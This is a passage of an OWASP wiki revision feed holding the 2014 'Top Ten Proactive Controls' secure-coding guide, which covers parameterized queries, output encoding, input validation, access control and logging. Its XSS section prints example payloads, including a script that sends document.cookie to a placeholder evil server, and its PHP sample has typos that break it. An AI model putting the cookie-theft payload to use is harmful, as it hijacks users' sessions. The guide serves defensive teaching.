 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ Apache Commons Validator]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176355</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176355"/>
				<updated>2014-06-03T20:18:13Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
